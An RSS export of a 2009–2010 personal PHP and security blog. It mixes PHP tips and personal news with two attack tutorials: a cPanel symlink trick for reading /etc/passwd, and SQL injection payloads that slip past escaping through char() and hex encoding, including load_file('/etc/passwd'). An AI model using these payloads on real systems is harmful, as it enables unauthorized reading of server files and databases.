<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>For free time that I don’t have</title>
	<atom:link href="http://blog.sc0rpion.ir/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.sc0rpion.ir</link>
	<description>Sc0rpion’s blog &#124; Just a common programmer</description>
	<pubDate>Thu, 02 Sep 2010 19:59:40 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>explode() and preg_replace() functions are recommended</title>
		<link>http://blog.sc0rpion.ir/2010/09/explode-and-preg_replace-functions-are-recommended/</link>
		<comments>http://blog.sc0rpion.ir/2010/09/explode-and-preg_replace-functions-are-recommended/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 15:40:07 +0000</pubDate>
		<dc:creator>Sc0rpion</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[difference between explode() and split()]]></category>

		<category><![CDATA[difference between preg_replace and ereg_replace]]></category>

		<category><![CDATA[ereg_replace()]]></category>

		<category><![CDATA[explode()]]></category>

		<category><![CDATA[preg_replace()]]></category>

		<category><![CDATA[split()]]></category>

		<guid isPermaLink="false">http://blog.sc0rpion.ir/?p=1129</guid>
		<description><![CDATA[Hi , I wanna indicate to two small and petty serious notes I reached and experiences gotten in php programming , however each programmer has his manner but it&#8217;s necessary to read php changelogs .  

1 . split() or explode() 
I start within split() and explode() functions , my blog followers are agreed to [...]]]></description>
			<content:encoded><![CDATA[<p>Hi , I wanna indicate to two small and petty serious notes I reached and experiences gotten in php programming , however each programmer has his manner but it&#8217;s necessary to read php changelogs .  </p>
<p><span id="more-1129"></span><br />
<strong>1 . split() or explode() </strong></p>
<p>I start within <a href="http://php.net/manual/en/function.split.php">split()</a> and <a href="http://php.net/manual/en/function.explode.php">explode()</a> functions , my blog followers are agreed to my sentence that I&#8217;ve either briefly or fully explained these functions by source example before , so I add addition notes today .<br />
If you&#8217;ll be in selection between functions mentioned , which one do you prefer ?<br />
My recommendation is avoiding to use split() ,<br />
As php.net say , split() function has been deprecated as of PHP 5.3.0 , and I liked it since split() is sensitive to regular expression which I&#8217;m not really comfortable with !<br />
another reason to have the explode() is that you encounter a problem with the split() when splitting the large string .<br />
for instance to better concept of <strong>large</strong> word :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$var</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;One. Two.&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;pre&gt;'</span> <span style="color: #339933;">,</span> <span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">split</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$var</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;br&gt;'</span> <span style="color: #339933;">,</span> <span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">explode</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$var</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>I refer to see <a href="http://blog.bluefur.com/2009/04/22/php-explode-split/">this link</a> or <a href="http://blog.brianhartsock.com/2007/06/11/php-explode-vs-split/">this link</a> for extra details .</p>
<p><strong>2 . preg_replace() or ereg_replace()</strong></p>
<p>The <a href="http://php.net/manual/en/function.ereg-replace.php">ereg_replace()</a> has also been deprecated as of PHP 5.3.0 .<br />
It has been a long since I started php programming , I&#8217;ve often <a href="http://ir.php.net/manual/en/function.preg-replace.php">preg_replace()</a> function which is kind of <a href="http://ir.php.net/manual/en/ref.pcre.php">PCRE functions </a> .<br />
ereg_replace() is not compatible with latest versions of php , change your way to preg_replace() instead of it .<br />
a simple code example I&#8217;ve taken from google :</p>
<p>?></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
  <span style="color: #000000; font-weight: bold;">function</span> sanitize_string<span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <span style="color: #990000;">ereg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' +'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #b1b100;">return</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/[&lt;&gt;]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'_'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
  <span style="color: #000000; font-weight: bold;">function</span> sanitize_string<span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'{ +}'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #b1b100;">return</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/[&lt;&gt;]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'_'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>In next update I&#8217;ll write about bot-net php system I&#8217;ve written few months ago , I hope find it useful :]</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.sc0rpion.ir/2010/09/explode-and-preg_replace-functions-are-recommended/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Up again !</title>
		<link>http://blog.sc0rpion.ir/2010/08/up-again/</link>
		<comments>http://blog.sc0rpion.ir/2010/08/up-again/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 18:21:01 +0000</pubDate>
		<dc:creator>Sc0rpion</dc:creator>
		
		<category><![CDATA[Myself]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[y-shahinzadeh.ir]]></category>

		<guid isPermaLink="false">http://blog.sc0rpion.ir/?p=1109</guid>
		<description><![CDATA[Hi , I&#8217;ve been thinking around ten minutes and I couldn&#8217;t fine any appropriate title , it doesn&#8217;t matter  since I want to say my words :]
It&#8217;s long time my blog hasn&#8217;t been updated so I&#8217;ve fairly expected decreasing my blog views , such a dead place , but still I have my visitors [...]]]></description>
			<content:encoded><![CDATA[<p>Hi , I&#8217;ve been thinking around ten minutes and I couldn&#8217;t fine any appropriate title , it doesn&#8217;t matter  since I want to say my words :]</p>
<p>It&#8217;s long time my blog hasn&#8217;t been updated so I&#8217;ve fairly expected decreasing my blog views , such a dead place , but still I have my visitors and their comments which I never imagined .<br />
<span id="more-1109"></span><br />
Because of few server problems , I changed my server yesterday and during this movement the site had been down , I feel to tell the reason of this unavailability . I restored the buck ups , but it comes natural if some links are inaccessible and I&#8217;m gonna fix them all in coming three days .</p>
<p>I leaned valuable techniques in web designing and and accepted two projects &#8230; also I designed my own personal website which is visible within link below :</p>
<pre lang='text' line ='1'>
http://y-shahinzadeh.ir
</pre>
<p>Here I would appreciate Mohsen for his fantasy photography which shines there , about designing ,  it took a day to be completely made . about my status , I&#8217;d been out of internet access in six months ago while now I&#8217;m trying to establish it in my home , and it helps me update here faster as I can <img src='http://blog.sc0rpion.ir/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />   </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.sc0rpion.ir/2010/08/up-again/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Lifeway</title>
		<link>http://blog.sc0rpion.ir/2010/04/lifeway/</link>
		<comments>http://blog.sc0rpion.ir/2010/04/lifeway/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 12:33:11 +0000</pubDate>
		<dc:creator>Sc0rpion</dc:creator>
		
		<category><![CDATA[Myself]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[shahinzadeh@cert.sharif.edu]]></category>

		<guid isPermaLink="false">http://blog.sc0rpion.ir/?p=1100</guid>
		<description><![CDATA[Hi everybody , I&#8217;m ashamed to admit that the phrase just came across my lips &#8230; I know it&#8217;s long time that my blog hasn&#8217;t been updated , three months I think , because of career and student life that I would be out of free time which I indicated in my blog title  [...]]]></description>
			<content:encoded><![CDATA[<p>Hi everybody , I&#8217;m ashamed to admit that the phrase just came across my lips &#8230; I know it&#8217;s long time that my blog hasn&#8217;t been updated , three months I think , because of career and student life that I would be out of free time which I indicated in my blog title  <span id="more-1100"></span>  . I&#8217;ve recently ( around two months ) been joined up into <a href="http://www.bing.com/search?q=Sharif+university+of+Ttechnology+CERT+team&#038;src=IE-SearchBox">Sharif university of technology CERT team</a> . This occupation would be nice for this phase of my life , I have to say thanks for the warm reception to my work . I never imagined it would come out this interesting and it&#8217;s going fine , my new mail address is , </p>
<pre lang="php" line ="1">
shahinzadeh [at] cert.sharif.edu
</pre>
<p>And I&#8217;ll have my own visit card as soon as possible .<br />
It was for my status , and what&#8217;s new ? I&#8217;ve newly reached the important notes in php , as you know in a simple sentence , php doesn&#8217;t support multithreading however it can be just simulated within complicated ways and sort of codes . since the I&#8217;ve confidentiality signed the non-disclosure agreement paper , I can&#8217;t say the reason made me fall into this research ( it has definitely been linked to my job ) but like always the most useful function helped me , curl() .<br />
I&#8217;m not sure but maybe I put few part of my results here . I&#8217;m keep trying to update here faster , till summer that I&#8217;ve a lot of free time !</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.sc0rpion.ir/2010/04/lifeway/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Magic of programing</title>
		<link>http://blog.sc0rpion.ir/2010/01/magic-of-programing/</link>
		<comments>http://blog.sc0rpion.ir/2010/01/magic-of-programing/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 21:01:23 +0000</pubDate>
		<dc:creator>Sc0rpion</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[explode()]]></category>

		<category><![CDATA[list()]]></category>

		<category><![CDATA[passwd]]></category>

		<category><![CDATA[preg_match_all]]></category>

		<category><![CDATA[split()]]></category>

		<guid isPermaLink="false">http://blog.sc0rpion.ir/?p=1084</guid>
		<description><![CDATA[Today I&#8217;ve been accidentally paying attention to a php code that reminds me a issue that it ain&#8217;t totally important how long has somebody been in programing world , just his ability to reduction and maintenance !  
As indicated in my old publishing to seclude the usernames from passwd file , you would see [...]]]></description>
			<content:encoded><![CDATA[<p>Today I&#8217;ve been accidentally paying attention to a php code that reminds me a issue that it ain&#8217;t totally important how long has somebody been in programing world , just his ability to reduction and maintenance !  <span id="more-1084"></span><br />
As indicated in <a href="http://blog.sc0rpion.ir/2009/04/passwd-file/">my old publishing</a> to seclude the usernames from passwd file , you would see the code I&#8217;ve inaccurately been satisfied with , so why and what&#8217;s the point ?<br />
See this piece of php code :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'passwd.txt'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'r'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$fr</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$fp</span> <span style="color: #339933;">,</span> <span style="color: #990000;">filesize</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'passwd.txt'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/(.+?):x:(.+?)/'</span><span style="color: #339933;">,</span><span style="color: #000088;">$fr</span><span style="color: #339933;">,</span><span style="color: #000088;">$explode</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$explode</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$fp2</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'data.txt'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'w+'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$fw2</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp2</span><span style="color: #339933;">,</span><span style="color: #000088;">$content</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Which is exactly doing all what my damn 53 lined php code does by neither more extensively nor less so !<br />
That time I didn&#8217;t identify <a href="http://ir.php.net/manual/en/function.preg-match-all.php">preg_match_all()</a> function as well as I do now , however it doesn&#8217;t matter at all !<br />
If you had a new idea leave comment and if not &#8230; be safe !</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.sc0rpion.ir/2010/01/magic-of-programing/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cpanel Bypass Safe mode [ extract tar.gz by Cpanel ]</title>
		<link>http://blog.sc0rpion.ir/2010/01/cpanel-bypass-safe-mode-extract-targz-by-cpanel/</link>
		<comments>http://blog.sc0rpion.ir/2010/01/cpanel-bypass-safe-mode-extract-targz-by-cpanel/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 21:05:34 +0000</pubDate>
		<dc:creator>Sc0rpion</dc:creator>
		
		<category><![CDATA[Bypassing]]></category>

		<category><![CDATA[General]]></category>

		<category><![CDATA[Hacking]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[Cpanel Bypass Safe mode [ extract tar.gz by Cpanel ]]]></category>

		<category><![CDATA[open_basedir]]></category>

		<category><![CDATA[PHP 5.2.11/5.3.0 Multiple Vulnerabilities]]></category>

		<category><![CDATA[PHP 5.2.12/5.3.1 symlink() open_basedir bypass]]></category>

		<category><![CDATA[posix_mkfifo()]]></category>

		<category><![CDATA[Safe mode bypass]]></category>

		<category><![CDATA[symlink()]]></category>

		<category><![CDATA[tempnam()]]></category>

		<guid isPermaLink="false">http://blog.sc0rpion.ir/?p=1067</guid>
		<description><![CDATA[Hello everybody , after a insufferable weak that I complain with , I&#8217;m here to post up the blog , I&#8217;ve recently been occupied by penetration test on some web applications , while these days I&#8217;ve frequently seen several bypasses for php and I just wondered , the vulnerabilities are advancing coming out faster than [...]]]></description>
			<content:encoded><![CDATA[<p>Hello everybody , after a insufferable weak that I complain with , I&#8217;m here to post up the blog , I&#8217;ve recently been occupied by penetration test on some web applications , while these days I&#8217;ve frequently seen several bypasses for php and I just wondered , the vulnerabilities are advancing coming out faster than I thought they would <span id="more-1067"></span> , see the change log of php 5.2.12 :</p>
<pre lang='text' line ='1'>
# Fixed a safe_mode bypass in tempnam()
# Fixed a open_basedir bypass in posix_mkfifo()
</pre>
<p>By the way the php&#8217;s quote , </p>
<pre lang='text' line ='1'>
All users of PHP 5.2 are encouraged to upgrade to this release
</pre>
<p>However the story didn&#8217;t end here , we would see a new bypass in latest version , PHP 5.2.12/5.3.1 symlink() open_basedir bypass !<br />
Meanwhile , two days ago , new bug has been found in cPanel which allows somebody to bypass the safe mode or any impermissible file .<br />
Allocated link due this security hole :</p>
<pre lang='text' line ='1'>
http://securityreason.com/exploitalert/7740
</pre>
<p>If you take a look , you realize that it&#8217;s such a cryptic text ( because of his bad English and explanation ( his speech ain&#8217;t specifically clear ) .<br />
Considering to the article at securityreason.com at beginning these two commands have to be executed :</p>
<pre lang='text' line ='1'>
ln -s /etc/passwd t.xt
tar -zcf red.tar.gz t.txt
</pre>
<p>Note that it doesn&#8217;t make any difference that where has the command been executed , we need to that <strong>gz</strong> file containing the <strong>t.txt</strong> which linked to the file we aimed to read , at this case passwd file .<br />
During this article the passwd file is supposed to be an inaccessible by any owner in shell script , so after creating the file mentioned above , we have to gain the cPanel  password of the any user located on the server . I ain&#8217;t gonna throw this subject and assume that the access is granted !<br />
All have to be done is just logging into cPanel by the valid credential you&#8217;ve gotten , uploading the <strong>red.tar.gz</strong> and extracting it by cPanel , when you open the <strong>t.txt</strong> you will see the passwd file loaded there !<br />
I recorded tutorial clip for the better concept , <a href="http://sc0rpion.ir/tutorial-clips/Cpanel%20Bypass%20Safe%20mode.rar">loading here</a> , I hope you find it useful , be safe !  </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.sc0rpion.ir/2010/01/cpanel-bypass-safe-mode-extract-targz-by-cpanel/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Sc0rpion.ir hacked</title>
		<link>http://blog.sc0rpion.ir/2010/01/sc0rpionir-hacked/</link>
		<comments>http://blog.sc0rpion.ir/2010/01/sc0rpionir-hacked/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 16:39:18 +0000</pubDate>
		<dc:creator>Sc0rpion</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[Myself]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[Sc0rpion.ir]]></category>

		<guid isPermaLink="false">http://blog.sc0rpion.ir/?p=1054</guid>
		<description><![CDATA[You may be announced of my web site hacked few days ago , it was around five O&#8217;clock , I was received an instant message of defacement of the sc0rpion.ir , I knew that it&#8217;s not an imbalance , each site has approximately been hacked one time till today . 
I was curious of the [...]]]></description>
			<content:encoded><![CDATA[<p>You may be announced of my web site hacked few days ago , it was around five O&#8217;clock , I was received an instant message of defacement of the sc0rpion.ir , I knew that it&#8217;s not an imbalance , each site has approximately been hacked one time till today . <span id="more-1054"></span><br />
I was curious of the procedure of the attacking since I had word press and my own portal installed in my host , so I suspected of any probable vulnerability in them , after a while I confidently reached the point that it couldn&#8217;t be right !<br />
I asked Mehrdad ( server administrator ) to give me the logs , after reading the logs , I found the hole , the hacker had gotten the web shell from a site located in server and read the passwd file because it was permissible inaccurately . hacker had connected to database and changed my Email address then he used the forgot pass trick !<br />
And it went till defacement , it&#8217;s not clear to my yet since I had charily fixed the permissions of directories and files !<br />
This was the story of my site hacked , I hope I don&#8217;t see another page in future <img src='http://blog.sc0rpion.ir/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> , Yashar .</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.sc0rpion.ir/2010/01/sc0rpionir-hacked/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bypassing the mysql_real_escape_string()</title>
		<link>http://blog.sc0rpion.ir/2010/01/bypassing-the-mysql_real_escape_string/</link>
		<comments>http://blog.sc0rpion.ir/2010/01/bypassing-the-mysql_real_escape_string/#comments</comments>
		<pubDate>Fri, 22 Jan 2010 16:32:04 +0000</pubDate>
		<dc:creator>Sc0rpion</dc:creator>
		
		<category><![CDATA[Bypassing]]></category>

		<category><![CDATA[General]]></category>

		<category><![CDATA[Hacking]]></category>

		<category><![CDATA[Mysql injection]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[bypass mysql_real_escape_string]]></category>

		<category><![CDATA[escaping by mysql_real_escape_string()]]></category>

		<category><![CDATA[Securitybypass magic_quote]]></category>

		<guid isPermaLink="false">http://blog.sc0rpion.ir/?p=1035</guid>
		<description><![CDATA[This publishing is around bonus stuff which I&#8217;ve considered  ,MySQL injection , I had written a query :

/page.php?id=-1 union select table_name,2 from from information_schema.tables
where TABLE_SCHEMA='Sc0rpion'

As you see we used a single quote in query  , in some cases , when either the magic_quote is on , or the programmer has secured the dynamic [...]]]></description>
			<content:encoded><![CDATA[<p>This publishing is around bonus stuff which I&#8217;ve considered  ,<a href="http://blog.sc0rpion.ir/2009/04/mysql-injection-1/ ">MySQL injection</a> , I had written a query :</p>
<pre lang='text' line ='1'>
/page.php?id=-1 union select table_name,2 from from information_schema.tables
where TABLE_SCHEMA='Sc0rpion'
</pre>
<p>As you see we used a single quote in query <span id="more-1035"></span> , in some cases , when either the <a href=" http://www.google.com/search?hl=en&#038;safe=off&#038;client=firefox-a&#038;rls=org.mozilla%3Aen-US%3Aofficial&#038;hs=i1n&#038;q=magic_quote+php.ini&#038;btnG=Search ">magic_quote</a> is on , or the programmer has secured the dynamic query by mysql_real_escape_string() function , you will see the prevention of executing your injection query .<br />
I will preface two techniques that could be used in various queries of injection , they can&#8217;t be named security holes , just obfuscation ! ( for instance remember how the mod_security module is bypassed by variant tricks ) .</p>
<p><strong>1 . ASCII equivalent to bypass</strong></p>
<p>I accidentally faced a similar situation last night and it was main reason made me post up here , all has to be done is substituting the string by equivalent decimal ASCII value , for example in link above , the &#8216;Sc0rpion&#8217; should exactly be converted , my online string converter :</p>
<pre lang='text' line ='1'>
http://sc0rpion.ir/converter.php
</pre>
<p>The hex values must be understood in an URL yielded , our new query would be like example below and there won&#8217;t any resistance from neither mysql_real_escape_string() function nor magic_quote ,</p>
<pre lang='text' line ='1'>
/page.php?id=-1 union select table_name,2 from from information_schema.tables
where TABLE_SCHEMA=char(83,99,48,114,112,105,111,110)
</pre>
<p>Query is executed without any disturbance , the tables lists will be appeared in front of your face . ( by using group_concat() function )  </p>
<p><strong>1 . HEX equivalent to bypass</strong></p>
<p>There is another bypass method to load any file by <a href="http://www.google.com/search?q=load_file%28%29&#038;ie=utf-8&#038;oe=utf-8&#038;aq=t&#038;rls=org.mozilla:en-US:official&#038;client=firefox-a">load_file()</a> function , if the magic_quote supposed to be enabled you will see the following query returns the fail of injection :</p>
<pre lang='text' line ='1'>
/page.php?id=-1 union select 1,load_file('etc/passwd')--
</pre>
<p>Since we used single quote , for conducting this attack to the success , the file which has specifically been chosen to be loaded , must be converted into hex format :</p>
<pre lang='text' line ='1'>
load_file(0xHEX);
</pre>
<p>As you see the is instruction which has to be observed ( 0x prefix before the hex code ) . for converting the string you can do it by script I accented already , <a href="http://sc0rpion.ir/converter.php">http://sc0rpion.ir/converter.php</a> , or easily by MySQL command line :</p>
<pre lang='text' line ='1'>
SELECT CONCAT(HEX('c:\\boot.ini'));
</pre>
<p>Our manufactured hex code is ready :</p>
<pre lang='text' line ='1'>
'etc/passwd' = 0x6574632f706173737764
</pre>
<p>So , we would change our query :</p>
<pre lang='text' line ='1'>
/page.php?id=-1 union select 1,load_file(0x6574632f706173737764)--
</pre>
<p>And the file will be loaded . I hope you enjoy this article , Yashar .</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.sc0rpion.ir/2010/01/bypassing-the-mysql_real_escape_string/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Current status</title>
		<link>http://blog.sc0rpion.ir/2009/12/current-status/</link>
		<comments>http://blog.sc0rpion.ir/2009/12/current-status/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 10:31:17 +0000</pubDate>
		<dc:creator>Sc0rpion</dc:creator>
		
		<category><![CDATA[Myself]]></category>

		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.sc0rpion.ir/?p=1032</guid>
		<description><![CDATA[Finally after a couple of unfortunate events that led me to be away from virtual world , I&#8217;m here with a tolerable home and internet connection , I&#8217;ve fixed up my most of my problems such as changing server and .. I think I can continue just like before .   
I&#8217;m student now [...]]]></description>
			<content:encoded><![CDATA[<p>Finally after a couple of unfortunate events that led me to be away from virtual world , I&#8217;m here with a tolerable home and internet connection , I&#8217;ve fixed up my most of my problems such as changing server and .. I think I can continue just like before .   <span id="more-1032"></span><br />
I&#8217;m student now and have a nice time here , by the way we started new project ( ISCN team ) &#8230; and I&#8217;m gonna write a rest of my new portal . I&#8217;m trying to join up into Sharif university of technology to make up money ( with mort ) .<br />
This publishing is just such an announcement of my status , always be safe , Yashar .</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.sc0rpion.ir/2009/12/current-status/feed/</wfw:commentRss>
		</item>
		<item>
		<title>6th International ISC Conference on Information Security and Cryptology</title>
		<link>http://blog.sc0rpion.ir/2009/10/6th-international-isc-conference-on-information-security-and-cryptology/</link>
		<comments>http://blog.sc0rpion.ir/2009/10/6th-international-isc-conference-on-information-security-and-cryptology/#comments</comments>
		<pubDate>Mon, 12 Oct 2009 17:06:13 +0000</pubDate>
		<dc:creator>Sc0rpion</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[Myself]]></category>

		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.sc0rpion.ir/?p=1020</guid>
		<description><![CDATA[6th International ISC Conference on Information Security and Cryptology was successfully held in Isfahan . I went because of invitation I&#8217;d received from Ali Abbasi ( black_ice ) . there wasn&#8217;t only me but also we were a team formed from four people and we appeared as &#8221; vulnerability analysis &#038; penetration testing group - [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://iscisc2009.ui.ac.ir/">6th International ISC Conference on Information Security and Cryptology</a> was successfully held in Isfahan . I went because of invitation I&#8217;d received from Ali Abbasi ( black_ice ) . there wasn&#8217;t only me but also we were a team formed from four people and we appeared as &#8221; vulnerability analysis &#038; penetration testing group - computer security incident response team - Sharif university of technology &#8221; . <span id="more-1020"></span><br />
I was absorbed when I heard of hacking competition ( war game ) covered and organized by Isfahan university . we divided to two team . the war game for my team had been consisted from three phrases . at beginning we should have crack the WEP ( 128 bit ) and hack into the system . in the second part we faced a vulnerable PHP application which had directory traveling and LFI bug . we succeed to access to the proxy server passwords by this hole and we read configuration file , then we connected to last target by proxy server ( it was impossible to do it without proxy server ) .<br />
As I said we passed two stages in 23 minutes . the second team did it in 293 minutes ! it became more interesting when nobody could pass the 3th stage . there was a damn blind SQL injection , in SQL server . the time ends for all 13 teams and since we done the stages in minimum possible time , we won rarely .<br />
some pictures : ( I&#8217;ll update it when I got all pictures ) :</p>
<pre lang='php' line= '1'>
http://sc0rpion.ir/images/sh/1.jpg
http://sc0rpion.ir/images/sh/2.jpg
http://sc0rpion.ir/images/sh/3.jpg
http://sc0rpion.ir/images/sh/4.jpg
</pre>
<p>And few lines about myself , my life divided into two parts , internet life and studying life , I have access to the internet by me own computer nearly 2 days in week , although it is not gonna be continue in future I think I&#8217;ve to endure this situation around three months or lesser . the comfortability of my internet connection isn&#8217;t like before in another word I should pay a lot of money for a little online working in places such as coffee net and I wish if all things end here . this is another problem in my life and you will face of my miss activity in this blog , however , I&#8217;ll spend my time as well as I can , Yashar .</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.sc0rpion.ir/2009/10/6th-international-isc-conference-on-information-security-and-cryptology/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ward class</title>
		<link>http://blog.sc0rpion.ir/2009/09/ward-class/</link>
		<comments>http://blog.sc0rpion.ir/2009/09/ward-class/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 11:28:43 +0000</pubDate>
		<dc:creator>Sc0rpion</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[Security]]></category>

